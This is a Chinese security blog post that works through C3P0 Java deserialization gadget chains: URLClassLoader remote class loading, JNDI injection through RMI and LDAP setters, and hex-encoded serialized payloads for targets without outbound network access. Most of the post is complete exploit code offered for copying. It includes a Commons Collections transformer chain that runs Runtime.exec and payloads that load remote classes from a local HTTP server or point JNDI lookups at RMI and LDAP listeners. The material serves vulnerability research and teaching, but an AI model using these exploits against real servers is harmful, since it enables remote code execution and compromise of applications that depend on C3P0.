C3P0反序列化利用链
2024-09-13 09:14:17 # javasec # unserialize

介绍

C3P0是一个开源的JDBC连接池,它实现了数据源和JNDI绑定,支持JDBC3规范和JDBC2的标准扩展。 使用它的开源项目有Hibernate、Spring等。

简单介绍一下这个C3p0其实就是一个数据库连接池库,用于管理与数据库连接的线程创建于销毁,因为业务系统中会经常涉及到数据库操作,如果每次查询或者其他数据库操作都创建一个新的数据库连接去执行这些sql代码的话就会导致系统性能开销特别大,所以设计了一个数据池的东西,这个原本是多线程里面东西线程池,然后这里就用于数据库连接的线程池也叫数据连接池,每次需要执行sql代码的时候就会找c3p0要一个连接句柄去执行,然后c3p0要做的就是作为jdbc和数据库驱动中间的代理人,按我的理解就是这样。

链子主要分为三个,下面文章的书写结构按照链子分析,即先自己先不看文章自己分析一下看能不能通过链子名称不看细节自己挖到,接着进行代码调试,最后贴上exp方便复制,有些链子分析里面比较详细的我就不调试了

  • URLClassLoader
  • JNDI注入
  • hexbase 打十六进制字节码 (经常用来不出网利用)

环境搭建

1
2
3
4
5
<dependency>
<groupId>com.mchange</groupId>
<artifactId>c3p0</artifactId>
<version>0.9.5.2</version>
</dependency>

https://mvnrepository.com/artifact/com.mchange/c3p0

直接选一个用的比较多的版本就行

URLClassLoader

链子分析

首先扫描到了4个readObject反序列化入口点,我们简单看一下哪些调用了其他方法的

可以发现这三个地方都调用了getObject方法,并且要求是继承了IndirectlySerialized类才能调用对应的getObject方法,接着我们跟进一下

找实现类

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
public Object getObject() throws ClassNotFoundException, IOException {
try {
InitialContext var1;
if (this.env == null) {
var1 = new InitialContext();
} else {
var1 = new InitialContext(this.env);
}

Context var2 = null;
if (this.contextName != null) {
var2 = (Context)var1.lookup(this.contextName);
}

return ReferenceableUtils.referenceToObject(this.reference, this.name, var2, this.env);
} catch (NamingException var3) {
if (ReferenceIndirector.logger.isLoggable(MLevel.WARNING)) {
ReferenceIndirector.logger.log(MLevel.WARNING, "Failed to acquire the Context necessary to lookup an Object.", var3);
}

throw new InvalidObjectException("Failed to acquire the Context necessary to lookup an Object: " + var3.toString());
}
}

这里直接就是jndi注入点,但是这里有个问题,我们看writeObject这里

他在写入对象时ReferenceIndirector对象时临时创建的,所以我们不能直接控制ReferenceIndirector对象的contextName属性

所以无法直接通过initialContext.lookup进行jndi注入,虽然我们可以自己重写writeObject方法来自己构造ReferenceIndirector对象但是那样又太麻烦了

所以我们接着往下看ReferenceableUtils.referenceToObject

跟进发现这明显就是一个解析jndi引用的方法

这一部分如果fclasslocation为空的话会使用URLClasloader去加载指定类,然后调用其构造方法,这里很明显我们只需要构造这个ref引用对象的远程字节码,然后让他去远程加载就能rce,接着开始构造一下链子

构造到这一步的时候发现,还要将Reference封装一下,真麻烦啊,找继承Referenceable接口的类通过getReference方法获取

总之就比较麻烦,我在想能不能直接自己创建内部类,但是直接调用发现不行,这里我直接使用反射强行创建内部类

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
package C3P0;

import com.mchange.v2.c3p0.impl.JndiRefDataSourceBase;
import com.mchange.v2.naming.ReferenceIndirector;

import javax.naming.Reference;
import java.io.*;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;

public class c3p0_urlclassloader {
public static void main(String[] args) throws Exception {
Reference ref = new Reference("evilremote","evilremote","http://127.0.0.1:8000/");
ReferenceIndirector indir = new ReferenceIndirector();

Class refser_class = indir.getClass().getDeclaredClasses()[0];
Constructor<?> indirector = refser_class.getDeclaredConstructors()[0];
indirector.setAccessible(true);
Object refser = indirector.newInstance(ref, null, null, null);


JndiRefDataSourceBase jndiRefDataSourceBase = new JndiRefDataSourceBase(false);
setField(jndiRefDataSourceBase,"jndiName",refser);
writeObject(jndiRefDataSourceBase);
readObject("ser.bin");
}

public static void setField(Object obj, String fieldName, Object newValue) {
try {
Class<?> clazz = obj.getClass();
Field field = clazz.getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj, newValue);
} catch (NoSuchFieldException | IllegalAccessException e) {
e.printStackTrace();
}
}

public static void writeObject(Object obj) throws IOException {
try (ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"))) {
oos.writeObject(obj);
} catch (IOException e) {
e.printStackTrace();
}
}

public static Object readObject(String filename) {
try (ObjectInputStream ois = new ObjectInputStream(new FileInputStream(filename))) {
return ois.readObject();
} catch (IOException | ClassNotFoundException e) {
e.printStackTrace();
return null;
}
}


}

成功远程加载,整条链子在没有看过文章的情况下分析出来了,接着看一下网上的链子

发现主要区别在Reference对象这里,我们是直接通过反射创建的,而他这里就直接自己创建了一个继承ConnectionPoolDataSource和Referenceable,我不知道这样写能不能在本地没有这个类的时候使用,所以还是看我写的链子吧,而且我使用的入口点跟他们不一样,这个无所谓,使用这两个原理是一样的,我用JndiRefDataSourceBase完全是因为他readObject代码少,只调用一次getObject

链子分析-不出网利用

代码调试

分析以及很详细了,调试我就直接放流程图了

readObject进来,这里o是我们通过反射构造的内部类对象

接着进入getObject

然后在referenceToObject里面远程类加载

EXP-远程类加载

1
2
3
4
JndiRefDataSourceBase#readObject->
ReferenceIndirector#getObject->
ReferenceableUtils#referenceToObject->
evilremote(ObjectFactory)#getObjectInstance (远程类加载)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
package C3P0;

import com.mchange.v2.c3p0.impl.JndiRefDataSourceBase;
import com.mchange.v2.naming.ReferenceIndirector;

import javax.naming.Reference;
import java.io.*;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;

public class c3p0_urlclassloader {
public static void main(String[] args) throws Exception {
Reference ref = new Reference("evilremote","evilremote","http://127.0.0.1:8000/");
ReferenceIndirector indir = new ReferenceIndirector();

Class refser_class = indir.getClass().getDeclaredClasses()[0];
Constructor<?> indirector = refser_class.getDeclaredConstructors()[0];
indirector.setAccessible(true);
Object refser = indirector.newInstance(ref, null, null, null);


JndiRefDataSourceBase jndiRefDataSourceBase = new JndiRefDataSourceBase(false);
setField(jndiRefDataSourceBase,"jndiName",refser);
writeObject(jndiRefDataSourceBase);
readObject("ser.bin");
}

public static void setField(Object obj, String fieldName, Object newValue) {
try {
Class<?> clazz = obj.getClass();
Field field = clazz.getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj, newValue);
} catch (NoSuchFieldException | IllegalAccessException e) {
e.printStackTrace();
}
}

public static void writeObject(Object obj) throws IOException {
try (ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"))) {
oos.writeObject(obj);
} catch (IOException e) {
e.printStackTrace();
}
}

public static Object readObject(String filename) {
try (ObjectInputStream ois = new ObjectInputStream(new FileInputStream(filename))) {
return ois.readObject();
} catch (IOException | ClassNotFoundException e) {
e.printStackTrace();
return null;
}
}


}

EXP-BeanFactory绕过

回到referenceToObject这里面,这里如果不出网的话就不能够使用远程类加载进行利用了,但是我们可以看到后面,他加载了fClassLocation指定的工厂类,并且调用getObjectInstance去实例化了对象,这不就跟jndi高版本绕过一样吗,这里我们就可以利用tomcat的beanfactory去利用

这里的核心就是利用Reference对象的forceString参数,他会将forceString的值使用name=value进行解析,name是我们自己指定的,value则是我们想要在创建bean对象是调用的方法,方法执行的原理是反射,接着我们构造以下exp

JNDI注入

链子分析

首先找到两个jndi查询点,在rebind方法里面

往上找在父类C3P0PooledDataSource调用了他

先放着,看另外一个

这里是C3P0PooledDataSource的setJndiName,直接把传入的参数传入了rebind方法里面,这里很明显是setter方法,我们第一步能想到的就是通过fastjson配合打jndi注入,或者利用其它组件调用setter来配合,c3p0本身应该没有触发setter的链子,我看看网上怎么构造的

果然,但是他这里调用了setLoginTimeout,先不管他这个poc,我们自己构造以下

第一次测试发现没有进入循环

调进去发现

这些本来应该初始化的属性没有被初始化导致了这里不能绕过,很烦,问了下gpt说通常情况下,类中的静态属性会在类被加载时进行初始化,而实例属性会在对象创建时进行初始化。看了一下根本绕不过去

所以最终也进不到这里去,直接放弃了

接着往后看rebind能不能利用

很明显这里存在rebind操作,可以打jndi+rmi的bind客户端,直接用ysoserial起一个恶意rmi服务

成功反序列化,接着看一下网上的链子

发现不是一条,搜一下只找到一个文章有相关的记录

结果他没打上,那我们继续分析一下JndiRefForwardingDataSource这条链子我们为什么没找到

发现利用点在 JndiRefForwardingDataSource#dereference,但是许少那个工具没有搜到

搜索lookup关键词也没找到,很怪,而且我不知道这个void的结果对应的啥,构造方法里也没有lookup关键词

接着我又在分析之前没有分析完的urlclassloader那里的jndi注入点

这里可以使用构造env的方式进行jndi注入,但是貌似只能打jndi+rmi,ldap不知道为什么复现不出来

尝试使用LdapName构造不出来,先留在这吧,jndi+rmi感觉已经够用了,接着回到网上那条我们没有找到的jndi链子

首先我们找到sink点,在com.mchange.v2.c3p0.JndiRefForwardingDataSource#dereference,为一个private方法,这里我们只需要控制JndiName或者是任意属性就行了JndiEnv,当然这个在反序列化中非常好实现,主要是怎么调用到dereference方法

只在inner里面调用了

再往上找发现有很多,随用用第一个getConnection来构造以下payload

结果发现不能直接创建实例,那么看一下这个final类在哪里被使用了

结果在JndiRefConnectionPoolDataSource类中作为一个jrfds属性在构造函数中被实例化创建,并且这个类也是public的

接着搜索jrfds.setJn找到了能够直接通过这个JndiRefConnectionPoolDataSource的setJndiName方法来对JndiRefForwardingDataSource对象赋值,然后在找一下JndiRefForwardingDataSource的那几个能够调用inner的方法能不能直接在这里找到

  • connection
  • logwriteer
  • logintimeout

发现 JndiRefConnectionPoolDataSource中并没有直接对jrfds进行调用connection这些getter,setter的地方但是找到了

但是他是调用的wcpds对象,我们跟进一下构造函数看一下他是怎么创建的

这里发现wcpds其实就是将jrfds封装到了他的NestedDatasource属性里面去了,我们看一下这里的wcpds.getLogWriter会不会调到jrfds去

很明显会的,而且不止他一个,所以接下来只用对JndiRefConnectionPoolDataSource进行操作就能构造出jndi链了

成功注入,这里几个setter和getter都能打

EXP-readObject触发

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
package C3P0;

import com.mchange.v2.c3p0.impl.JndiRefDataSourceBase;
import com.mchange.v2.naming.ReferenceIndirector;
import com.mchange.v2.ser.Indirector;
import com.mchange.v2.ser.SerializableUtils;

import javax.naming.Name;
import javax.naming.Reference;
import java.io.*;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.util.Hashtable;

public class c3p0_jndi_readobject {
public static void main(String[] args) throws Exception {
Reference ref = new Reference(null);


Hashtable env = new Hashtable();
env.put("java.naming.factory.initial","com.sun.jndi.rmi.registry.RegistryContextFactory");
env.put("java.naming.provider.url","rmi://127.0.0.1:1099/pysnow");

Constructor<?> refconz = ReferenceIndirector.class.getDeclaredClasses()[0].getDeclaredConstructors()[0];
refconz.setAccessible(true);
Object refser = refconz.newInstance(ref, null, null, env);


JndiRefDataSourceBase jndiref = new JndiRefDataSourceBase(false);
setField(jndiref, "jndiName", refser);

writeObject(jndiref);
readObject("ser.bin");
}

public static void setField(Object obj, String fieldName, Object newValue) {
try {
Class<?> clazz = obj.getClass();
Field field = clazz.getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj, newValue);
} catch (NoSuchFieldException | IllegalAccessException e) {
e.printStackTrace();
}
}

public static void writeObject(Object evil) throws IOException {
try (ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"))) {
oos.writeObject(evil);
} catch (Exception e) {
e.printStackTrace();
}
}

public static Object readObject(String filename) {
try (ObjectInputStream ois = new ObjectInputStream(new FileInputStream(filename))) {
return ois.readObject();
} catch (IOException | ClassNotFoundException e) {
e.printStackTrace();
return null;
}
}
}

EXP-setter触发-1

1
2
3
4
5

C3P0PooledDataSource#setJndiName->
C3P0PooledDataSource#rebind->
GenericURLContext#rebind->
RegistryContext#rebind
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
package C3P0;

import com.mchange.v2.c3p0.jboss.C3P0PooledDataSource;


import javax.naming.NamingException;
import java.io.*;

public class c3p0_jndi_setter_1 {
public static void main(String[] args) throws IOException, NamingException, ClassNotFoundException {
C3P0PooledDataSource datasource = new C3P0PooledDataSource();
datasource.setJndiName("rmi://127.0.0.1:1099/pysnow");
}


}

EXP-setter触发-2

1
2
3
4
5
6
7
8
9
10
11
12
package C3P0;

import com.mchange.v2.c3p0.JndiRefConnectionPoolDataSource;

public class c3p0_jndi_setter_2 {
public static void main(String[] args) throws Exception {
JndiRefConnectionPoolDataSource poolDataSource = new JndiRefConnectionPoolDataSource();
poolDataSource.setJndiName("ldap://127.0.0.1:1389/test");
poolDataSource.getLogWriter();
}

}

Hex base

链子分析

这里我们直接通过工具估计是找不到了,所以我们直接通过漏洞点然后分析算了,WrapperConnectionPoolDataSource#userOverridesAsString,又是我们熟悉的类

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
public WrapperConnectionPoolDataSource(boolean autoregister)
{
super( autoregister );

setUpPropertyListeners();

//set up initial value of userOverrides
try
{ this.userOverrides = C3P0ImplUtils.parseUserOverridesAsString( this.getUserOverridesAsString() ); }
catch (Exception e)
{
if ( logger.isLoggable( MLevel.WARNING ) )
logger.log( MLevel.WARNING, "Failed to parse stringified userOverrides. " + this.getUserOverridesAsString(), e );
}
}

直接看到构造函数,他调用了C3P0ImplUtils.parseUserOverridesAsString去解析serOverridesAsString属性值,接着我们跟进parseUserOverridesAsString发现调用了SerializableUtils.fromByteArray去解析传入的属性值的hex码

接着在fromByteArray方法里面发现了这里是直接使用deserializeFromByteArray去处理的字节流

跟进去发现这不就是我们之前找到的反序列化入口点吗

也就是说这个链子其实可以不看提示挖的,可惜可惜,接着就是构造利用链了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
package C3P0;

import com.mchange.lang.ByteUtils;
import com.mchange.v2.c3p0.WrapperConnectionPoolDataSource;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;

import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Map;

public class c3p0_hexbase {
public static void main(String[] args) throws Exception {
WrapperConnectionPoolDataSource connectionPoolDataSource = new WrapperConnectionPoolDataSource();
connectionPoolDataSource.setUserOverridesAsString(getPayload());

}

public static String getPayload() throws Exception {
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
HashMap<Object, Object> hashMap = new HashMap<>();
Map lazyMap = LazyMap.decorate(hashMap, new ConstantTransformer(1)); // 防止在反序列化前弹计算器
TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, "key");
HashMap<Object, Object> expMap = new HashMap<>();
expMap.put(tiedMapEntry, "value");

lazyMap.remove("key");
// 在 put 之后通过反射修改值
Field factoryField = LazyMap.class.getDeclaredField("factory");
factoryField.setAccessible(true);
factoryField.set(lazyMap, chainedTransformer);

ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(byteArrayOutputStream);
oos.writeObject(expMap);

String payload = ByteUtils.toHexAscii(byteArrayOutputStream.toByteArray());
System.out.println(payload);
return "HexAsciiSerializedMapa" + payload + "a";
}
}

构造完发现这里出发不是通过构造方法里面触发的,因为是想调用的构造方法后调用的setter,但是还是利用成功了,调试后发现也确实没有经过构造函数触发,接着我们在下面的代码调试部分分析一下

代码调试

进入setUserOverridesAsString,调用vcs.fireVetoableChange( “userOverridesAsString”, oldVal, userOverridesAsString );

继续往后调

首先这里创建了一个event对象,source就是入口的对象

接着进入fireVetoableChange方法

这里面通过this.map获取的VetoableChangeListener对象然后复制给listener,这个map属性其实在构造函数初始化的时候创建的,等会就知道了

接着遍历所有listener并调用其vetoableChange方法,传入前面创建的event对象

跟进去发现又回到了WrapperConnectionPoolDataSource类,可以看到这个listener是在setUpPropertyListeners方法里面创建的,而这个方法是在构造函数里面的初始化方法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
private void setUpPropertyListeners()
{
VetoableChangeListener setConnectionTesterListener = new VetoableChangeListener()
{
// always called within synchronized mutators of the parent class... needn't explicitly sync here
public void vetoableChange( PropertyChangeEvent evt ) throws PropertyVetoException
{
String propName = evt.getPropertyName();
Object val = evt.getNewValue();

if ( "connectionTesterClassName".equals( propName ) )
{
try
{ recreateConnectionTester( (String) val ); }
catch ( Exception e )
{
//e.printStackTrace();
if ( logger.isLoggable( MLevel.WARNING ) )
logger.log( MLevel.WARNING, "Failed to create ConnectionTester of class " + val, e );

throw new PropertyVetoException("Could not instantiate connection tester class with name '" + val + "'.", evt);
}
}
else if ("userOverridesAsString".equals( propName ))
{
try
{ WrapperConnectionPoolDataSource.this.userOverrides = C3P0ImplUtils.parseUserOverridesAsString( (String) val ); }
catch (Exception e)
{
if ( logger.isLoggable( MLevel.WARNING ) )
logger.log( MLevel.WARNING, "Failed to parse stringified userOverrides. " + val, e );

throw new PropertyVetoException("Failed to parse stringified userOverrides. " + val, evt);
}
}
}
};
this.addVetoableChangeListener( setConnectionTesterListener );
}

这里只要就是创建了一个lisnter闭包然后调用addVetoableChangeListener将其传进去

这后面肯定就很好看到了,也就是说最终我们是通过WrapperConnectionPoolDataSource中通过构造函数调用的setUpPropertyListeners初始化创建的VetoableChangeListener来触发的漏洞

然后我们回到这个创建的VetoableChangeListener类里面

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
public void vetoableChange( PropertyChangeEvent evt ) throws PropertyVetoException
{
String propName = evt.getPropertyName();
Object val = evt.getNewValue();

if ( "connectionTesterClassName".equals( propName ) )
{
try
{ recreateConnectionTester( (String) val ); }
catch ( Exception e )
{
//e.printStackTrace();
if ( logger.isLoggable( MLevel.WARNING ) )
logger.log( MLevel.WARNING, "Failed to create ConnectionTester of class " + val, e );

throw new PropertyVetoException("Could not instantiate connection tester class with name '" + val + "'.", evt);
}
}
else if ("userOverridesAsString".equals( propName ))
{
try
{ WrapperConnectionPoolDataSource.this.userOverrides = C3P0ImplUtils.parseUserOverridesAsString( (String) val ); }
catch (Exception e)
{
if ( logger.isLoggable( MLevel.WARNING ) )
logger.log( MLevel.WARNING, "Failed to parse stringified userOverrides. " + val, e );

throw new PropertyVetoException("Failed to parse stringified userOverrides. " + val, evt);
}
}
}

他首先会判断propName是等于userOverridesAsString还是connectionTesterClassName,这里很明显是userOverridesAsString

接着调用C3P0ImplUtils.parseUserOverridesAsString来解析val

而这个val就是event对象的newValue,后面parseUserOverridesAsString怎么处理的就不需要我在继续描述了

参考链接

https://xz.aliyun.com/t/12286

https://tttang.com/archive/1411/

https://xz.aliyun.com/t/13858

https://xz.aliyun.com/t/11894

https://xz.aliyun.com/t/10728

https://github.com/bfengj/CTF/blob/main/Web/java/Java%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96/%5BJava%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%5DC3P0%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96.md